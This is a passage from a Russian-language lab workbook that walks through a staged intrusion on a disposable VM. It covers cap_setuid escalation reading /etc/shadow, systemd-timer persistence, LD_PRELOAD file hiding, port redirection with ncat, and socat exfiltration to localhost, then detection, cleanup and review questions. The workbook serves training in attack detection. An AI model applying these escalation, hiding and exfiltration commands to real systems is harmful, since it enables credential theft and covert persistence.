   sudo ausearch -k execve --start recent 2>/dev/null | tail -10 || echo 'auditd не настроен'
   

5. Отметьте К2: найден хотя бы один подтверждённый вектор.

Что должно получиться

Файл inventory.txt, таблица векторов, список следов разведки. В журнале — какой вектор выбран и почему.

Часть 3. Эскалация

Задание

Выполняется только в одноразовой виртуальной машине с sudo.

1. Создайте учебный бинарник с cap_setuid:

   sudo cp /usr/bin/python3 /usr/local/bin/lab-python
   sudo setcap cap_setuid+ep /usr/local/bin/lab-python
   getcap /usr/local/bin/lab-python
   

2. Проверьте эскалацию:

   /usr/local/bin/lab-python -c 'import os; os.setuid(0); print(os.getuid()); print(open("/etc/shadow").readline())'
   

3. Зафиксируйте след:

   sudo ausearch -k execve --start recent 2>/dev/null | grep lab-python | tail -3
   

4. Отметьте К3: id -u = 0 и чтение /etc/shadow подтверждено.

5. Уберите учебный бинарник:

   sudo setcap -r /usr/local/bin/lab-python
   sudo rm -f /usr/local/bin/lab-python
   

Что должно получиться

Подтверждение root, запись в журнале, след в auditd. В журнале — объяснение, почему выбран этот вектор и чем он шумнее альтернатив.

Часть 4. Закрепление

Задание

1. Создайте пользовательский таймер:

   mkdir -p ~/.config/systemd/user
   cat > ~/.config/systemd/user/lab-sync.service <<'EOF'
   [Unit]
   Description=Lab Sync Worker
   [Service]
   Type=oneshot
   ExecStart=/bin/sh -c 'date -Is >> %h/lab-sync.log'
   [Install]
   WantedBy=default.target
   EOF
   cat > ~/.config/systemd/user/lab-sync.timer <<'EOF'
   [Unit]
   Description=Lab Sync Schedule
   [Timer]
   OnBootSec=1min
   OnUnitActiveSec=2min
   Persistent=true
   [Install]
   WantedBy=timers.target
   EOF
   systemctl --user daemon-reload
   systemctl --user enable --now lab-sync.timer
   systemctl --user list-timers --no-pager | head -3
   

2. Включите linger (нужен sudo):

   sudo loginctl enable-linger "$USER"
   loginctl show-user "$USER" -p Linger
   

3. Отметьте К4: перезагрузите ВМ и убедитесь, что таймер сработал без входа.

4. Опишите вторую точку закрепления — хук initramfs (тема 6) — и объясните, почему она независима от таймера.

Что должно получиться

Работающий таймер, Linger=yes, запись в lab-sync.log после перезагрузки. В журнале — описание двух независимых точек.

Часть 5. Сокрытие

Задание

1. Соберите перехватчик readdir из темы 7 (или используйте готовый из архива темы 7) и скройте файл:

   gcc -shared -fPIC -o hide.so hide.c -ldl
   touch secret.txt visible.txt
   ls
   LD_PRELOAD=./hide.so ls
   

2. В пространстве имён настройте перенаправление порта:

   unshare -rnm --propagation private bash -c '
     ip link set lo up
     iptables -t nat -A OUTPUT -p tcp --dport 8080 -j REDIRECT --to-port 2222
     ncat -l 127.0.0.1 2222 --keep-open --exec "/bin/cat" &
     sleep 1
     printf "hi\n" | ncat -w1 127.0.0.1 8080
     ss -tulpn | grep 2222
   '
   

3. Отметьте К5: ps/ls не показывают объект, ss показывает только внутренний порт.

4. Объясните, какие интерфейсы всё равно видят скрытое.

Что должно получиться

Скрытый файл, работающее перенаправление, список интерфейсов, которые сокрытие не затрагивает. В журнале — таблица «что скрыто — кто всё равно видит».

Часть 6. Вынос

Задание

1. Подготовьте учебные данные и упакуйте:

   mkdir -p loot && printf 'учебные данные\n' > loot/data.txt
   tar -czf loot.tar.gz -C loot .
   sha256sum loot.tar.gz | tee loot.sha256
   

2. Поднимите приёмник на локальном порту и передайте файл через socat:

   socat TCP-LISTEN:9090,reuseaddr,fork OPEN:/tmp/received.tar.gz,creat,append &
   socat -u FILE:loot.tar.gz TCP:127.0.0.1:9090
   sha256sum /tmp/received.tar.gz
   

3. Сравните хеши и объясните, что подтверждает целостность.

4. Опишите, как эта же передача выглядела бы через ssh -R и что было бы видно на промежуточном узле.

5. Отметьте К6: файл получен, хеш совпадает.

Что должно получиться

Файл на приёмнике, совпадающие хеши, описание следа в conntrack/ss. В журнале — вывод sha256sum для обоих файлов.

Часть 7. Синяя сторона

Задание

1. Постройте временную шкалу из синтетических журналов:

   python3 timeline.py logs/ > timeline.txt
   head -20 timeline.txt
   

2. Найдите в шкале этапы операции: вход, разведку, эскалацию, закрепление, сокрытие, вынос.

3. Для каждого этапа укажите источник и запись:

   Этап	Время	Источник	Запись
   Вход
   Разведка
   Эскалация
   Закрепление
   Сокрытие
   Вынос

4. Объясните, какие этапы видны в двух источниках, а какие — только в одном.

5. Заполните шаблон отчёта report-template.md для своей операции и для разбора.

Что должно получиться

Файл timeline.txt, заполненная таблица этапов, черновик отчёта. В журнале — вывод о том, на каком этапе защитник мог бы остановить операцию.

Часть 8. Разбор и уборка

Задание

1. Ответьте на вопросы разбора:

   • какой этап оставил самый заметный след и почему;
   • какой этап можно было сделать тише;
   • какая настройка защиты остановила бы операцию раньше всего;
   • что осталось в системе после уборки.

2. Уберите за собой:

   systemctl --user disable --now lab-sync.timer 2>/dev/null || true
   rm -f ~/.config/systemd/user/lab-sync.service ~/.config/systemd/user/lab-sync.timer
   rm -f ~/lab-sync.log
   sudo loginctl disable-linger "$USER"
   bash cleanup.sh
   

3. Проверьте, что не осталось процессов, правил и файлов:

   pgrep -a 'socat|ncat' || echo 'процессов нет'
   ss -tulpn | grep -E '2222|8080|9090' || echo 'портов нет'
   

Что должно получиться

Заполненный отчёт, чистый стенд, список оставшихся артефактов (их не должно быть). В журнале — итоговый вывод по операции.

Журнал работы

Для каждой части:

1. Время начала и конца.
2. Команда и результат.
3. Что изменилось в системе.
4. Пройдена ли контрольная точка и чем подтверждено.
5. Какой след остался и в каком источнике.

В конце — итоговая таблица «этап — контрольная точка — след — обнаружение».

Контрольные вопросы

1. Почему операция начинается с журнала, а не с первой команды?
2. Что делает контрольную точку контрольной точкой?
3. Почему разведка шумит и как уменьшить шум, не потеряв результат?
4. Почему одной точки закрепления недостаточно?
5. Чем независимость точек закрепления отличается от их количества?
6. Какие интерфейсы видимости не затрагивает перехват readdir?
7. Почему перенаправление порта не скрывает соединение от conntrack?
8. Что подтверждает хеш при выносе данных и чего он не подтверждает?
9. Какие источники позволяют восстановить временную шкалу?
10. Почему обнаружение на раннем этапе дешевле, чем на позднем?
11. Какая настройка ломает каждый из этапов операции?
12. Почему учебный стенд не позволяет оценивать реальное время обнаружения?